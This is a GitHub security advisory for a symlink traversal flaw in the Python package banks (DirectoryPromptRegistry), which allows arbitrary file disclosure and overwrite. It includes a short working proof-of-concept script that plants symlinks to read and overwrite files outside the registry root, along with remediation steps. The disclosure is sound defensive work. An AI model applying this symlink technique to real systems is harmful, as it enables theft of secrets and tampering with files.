~ / search / GHSA-556j-vv39-8rqv

GHSA-556j-vv39-8rqv

Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry

Source: GitHub Advisory Database (reviewed) Moderate CVE-2026-107716

Packages

EcosystemPackageAffectedFixed in
PyPI banks < 2.5.1 2.5.1

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary In `banks.registries.DirectoryPromptRegistry`, prompt file paths and the index file (`index.json`) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via `_scan()` / `get()` or overwrite arbitrary files via `set()` / `_save()`. ### Details Following PR #77, `DirectoryPromptRegistry` validates path resolution for prompt names. However: 1. `self._index_path` (`index.json`) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by `_save()` upon `reg.set()`, or read via `_load()`. 2. In `_scan()`, discovered `.jinja` files are opened and indexed without checking if `path.is_symlink()` or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed. 3. In `set()`, `prompt_file.write_text(...)` is called without checking if `prompt_file` is an existing symbolic link pointing outside the root. ### Impact Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives. ### Proof of Concept ```python import os from pathlib import Path from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME from banks.prompt import Prompt # Disclose external file via symlink in prompt directory reg_dir = Path("/tmp/registry") reg_dir.mkdir(exist_ok=True) secret = Path("/tmp/secret.txt") secret.write_text("SECRET_API_TOKEN") os.symlink(secret, reg_dir / "leak.0.jinja") reg = DirectoryPromptRegistry(reg_dir, force_reindex=True) print("Disclosed content:", reg.get(name="leak", version="0").raw) # Overwrite external file via symlink index target = Path("/tmp/target.conf") target.write_text("ORIGINAL") (reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True) os.symlink(target, reg_dir / DEFAULT_INDEX_NAME) reg.set(prompt=Prompt("pwn", name="test", version="1")) print("Target overwritten:", target.read_text()) ``` ### Remediation 1. In `_validate_index_path()`: verify `_index_path` is not a symlink and resolves within `_path`. 2. In `_scan()`: reject `path.is_symlink()` and check `path.resolve().is_relative_to(root)`. 3. In `set()`: reject existing symbolic links before writing. A tested fix and regression tests have been prepared and pushed to: https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting

References

External links from the advisory. They lead to third-party sites.